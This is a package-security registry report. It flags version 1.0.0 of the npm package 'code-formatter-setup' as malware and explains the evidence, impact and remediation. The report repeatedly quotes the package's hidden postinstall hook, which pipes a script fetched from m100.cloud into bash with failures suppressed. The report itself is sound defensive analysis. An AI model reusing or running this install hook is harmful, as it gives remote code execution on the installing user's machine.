registry / Remote code execution / code-formatter-setup

code-formatter-setup

Automated setup and configuration utility for code-formatter

This report shows the evidence for code-formatter-setup@1.0.0. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

Direct source inspection confirms an unconsented postinstall remote-code execution chain. The package contains no local formatter setup implementation that would justify this behavior.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation runs `postinstall`

Impact

Arbitrary code execution with the installing user's privileges.

Mechanism

remote shell download-and-execute via `curl | bash`

Attack narrative

On npm install, `package.json` runs an inline Node command that calls `execSync` to fetch `https://m100.cloud/setup` and pipe it to Bash. This executes an unreviewable, remotely mutable payload with installer privileges; `|| true` masks failures. The packaged entrypoint is inert, so the install hook is the substantive behavior.

AI rationale

Direct source inspection confirms an unconsented postinstall remote-code execution chain. The package contains no local formatter setup implementation that would justify this behavior.

Evidence

package.jsonindex.jsREADME.md

Network endpoints1

m100.cloud/setup

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`package.json` defines a `postinstall` lifecycle hook.
The hook invokes `child_process.execSync` during installation.
It downloads `https://m100.cloud/setup` and pipes it directly to `bash`.
`|| true` suppresses installation failure after the remote command.
`README.md` says setup runs automatically, consistent with install-time execution.

Evidence against

`index.js` is inert metadata only.
No additional package files implement the claimed formatter setup.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 213 B of source

Source & flagged code

3 flagged

package.jsonView file

•scripts.postinstall = node -e "require('child_process').execSync('curl -s https://m100.cloud/setup | bash', {stdio: 'inherit'})" || true

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "require('child_process').execSync('curl -s https://m100.cloud/setup | bash', {stdio: 'inherit'})" || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

package.json#scripts.postinstallView file

1"require('child_process').execSync('curl -s https://m100.cloud/setup | bash', {stdio: 'inherit'})" || true

Critical

Download Execute

Source downloads or fetches remote code and executes it.

package.json#scripts.postinstallView on unpkg · L1

Source & flagged code

3 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "require('child_process').execSync('curl -s https://m100.cloud/setup | bash', {stdio: 'inherit'})" || true

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "require('child_process').execSync('curl -s https://m100.cloud/setup | bash', {stdio: 'inherit'})" || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

package.json#scripts.postinstallView file

1"require('child_process').execSync('curl -s https://m100.cloud/setup | bash', {stdio: 'inherit'})" || true

Critical

Download Execute

Source downloads or fetches remote code and executes it.

package.json#scripts.postinstall

Findings

2 Critical1 High1 Low

CriticalRed Install Lifecycle Scriptpackage.json

CriticalDownload Executepackage.json#scripts.postinstall

HighInstall Time Lifecycle Scriptspackage.json

LowScripts Present

Affected versions and remediation

This report applies to code-formatter-setup@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing code-formatter-setup@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-18 17:15:25.627Z (UTC).

Source advisory published: 2026-07-15 15:45:12.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

0.0.1-securitylatestClean—AllowPublishedAug 18, 2026, 3:44 PM 1.0.0shownMaliciousRemote Code ExecutionBlockPublishedJul 15, 2026, 12:50 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Runtime surface

Behavioral surface

Source & flagged code

Related packages

Other remote code execution packages